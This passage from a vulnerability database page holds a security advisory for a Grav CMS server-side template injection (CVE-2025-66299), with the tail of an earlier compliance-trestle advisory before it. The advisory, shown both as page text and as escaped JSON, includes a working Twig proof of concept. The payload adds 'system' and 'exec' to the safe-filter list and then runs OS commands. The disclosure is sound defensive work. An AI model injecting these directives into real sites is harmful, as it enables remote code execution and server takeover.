vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.",
  "id": "GHSA-gg2g-p7xc-qqmm",
  "modified": "2026-05-28T19:01:38Z",
  "published": "2026-05-28T19:01:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-gg2g-p7xc-qqmm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/247fcce289f60103f3d8e28d8ec51a6986b94fb6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/7d107b3ac53caca7bde97a6278b23cd739d94525"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)"
}

GHSA-GJC5-8CFH-653X

Vulnerability from github – Published: 2025-12-02 00:36 – Updated: 2025-12-02 00:36
VLAI
Summary
Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)
Details

Summary

Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.

Details

Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.

The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:

$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) {
    $allowed = $config->get('system.twig.safe_filters');
    if (is_array($allowed) && in_array($name, $allowed, true) && function_exists($name)) {
        return new TwigFilter($name, $name);
    }
    if ($config->get('system.twig.undefined_filters')) {
        if (function_exists($name)) {
            if (!Utils::isDangerousFunction($name)) {
                user_error("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`", E_USER_DEPRECATED);

                return new TwigFilter($name, $name);
            }

            /** @var Debugger $debugger */
            $debugger = $this->grav['debugger'];
            $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`"));
        }

        return new TwigFilter($name, static function () {});
    }

    return false;
});

In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safe_filters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.

Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:

/**
 * Class Twig
 * @package Grav\Common\Twig
 */
class Twig
{
    /** @var Environment */
    public $twig;
    /** @var array */
    public $twig_vars = [];
    /** @var array */
    public $twig_paths;
    /** @var string */
    public $template;

    // Constructor
    public function __construct(Grav $grav)
    {
        $this->grav = $grav;
        $this->twig_paths = [];
    }

    // Twig initialization method
    public function init()
    {
        if (null === $this->twig) {
            /** @var Config $config */
            $config = $this->grav['config'];
            /** @var UniformResourceLocator $locator */
            $locator = $this->grav['locator'];
            /** @var Language $language */
            $language = $this->grav['language'];

            $active_language = $language->getActive();
        ...
        }
    }
}

Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safe_filters, effectively bypassing the Grav CMS sandbox.

Proof of Concept (PoC)

An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.

For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:

{% set arr = {'1':'system', '2':'exec'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}
{{ 'id'|system }}
{{ 'whoami'|exec }}

Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.

Impact

The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0-beta.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66299"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T00:36:36Z",
    "nvd_published_at": "2025-12-01T22:15:49Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nGrav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.\n\n## Details\n\nGrav CMS uses a custom sandbox to protect the powerful Twig methods such as `registerUndefinedFilterCallback()`. These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., `exec()`, `passthru()`, `system()`, etc.) within Twig template directives.\n\nThe current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the `isDangerousFunction()` method in the file `system/src/Grav/Common/Twig.php`:\n\n```php\n$this-\u003etwig-\u003eregisterUndefinedFilterCallback(function (string $name) use ($config) {\n    $allowed = $config-\u003eget(\u0027system.twig.safe_filters\u0027);\n    if (is_array($allowed) \u0026\u0026 in_array($name, $allowed, true) \u0026\u0026 function_exists($name)) {\n        return new TwigFilter($name, $name);\n    }\n    if ($config-\u003eget(\u0027system.twig.undefined_filters\u0027)) {\n        if (function_exists($name)) {\n            if (!Utils::isDangerousFunction($name)) {\n                user_error(\"PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`\", E_USER_DEPRECATED);\n\n                return new TwigFilter($name, $name);\n            }\n\n            /** @var Debugger $debugger */\n            $debugger = $this-\u003egrav[\u0027debugger\u0027];\n            $debugger-\u003eaddException(new RuntimeException(\"Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`\"));\n        }\n\n        return new TwigFilter($name, static function () {});\n    }\n\n    return false;\n});\n```\n\nIn this code, the `isDangerousFunction()` check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the `system.twig.safe_filters` configuration properties (whitelists that are empty by default) in the `system/config/system.yaml` file.\n\nNotably, the Twig class is defined within the `system/src/Grav/Common/Twig.php` file, and the Twig object (and environment) is instantiated there:\n\n```php\n/**\n * Class Twig\n * @package Grav\\Common\\Twig\n */\nclass Twig\n{\n    /** @var Environment */\n    public $twig;\n    /** @var array */\n    public $twig_vars = [];\n    /** @var array */\n    public $twig_paths;\n    /** @var string */\n    public $template;\n\n    // Constructor\n    public function __construct(Grav $grav)\n    {\n        $this-\u003egrav = $grav;\n        $this-\u003etwig_paths = [];\n    }\n\n    // Twig initialization method\n    public function init()\n    {\n        if (null === $this-\u003etwig) {\n            /** @var Config $config */\n            $config = $this-\u003egrav[\u0027config\u0027];\n            /** @var UniformResourceLocator $locator */\n            $locator = $this-\u003egrav[\u0027locator\u0027];\n            /** @var Language $language */\n            $language = $this-\u003egrav[\u0027language\u0027];\n\n            $active_language = $language-\u003egetActive();\n        ...\n        }\n    }\n}\n```\n\nSince the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute `system.twig.safe_filters`, effectively bypassing the Grav CMS sandbox.\n\n## Proof of Concept (PoC)\nAn authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.\n\nFor example, to exploit the vulnerability and execute the prohibited `system(\u0027id\u0027)` command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:\n\n```twig\n{% set arr = {\u00271\u0027:\u0027system\u0027, \u00272\u0027:\u0027exec\u0027} %}\n{{ var_dump(grav.twig.twig_vars[\u0027config\u0027].set(\u0027system.twig.safe_filters\u0027, arr)) }}\n{{ \u0027id\u0027|system }}\n{{ \u0027whoami\u0027|exec }}\n```\n\nOnce the page is saved, it can be accessed by unauthenticated users, triggering the execution of the `system(\u0027id\u0027)` command on the server hosting the vulnerable Grav CMS.\n\n## Impact\nThe vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.",
  "id": "GHSA-gjc5-8cfh-653x",
  "modified": "2025-12-02T00:36:36Z",
  "published": "2025-12-02T00:36:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-gjc5-8cfh-653x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66299"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)"
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.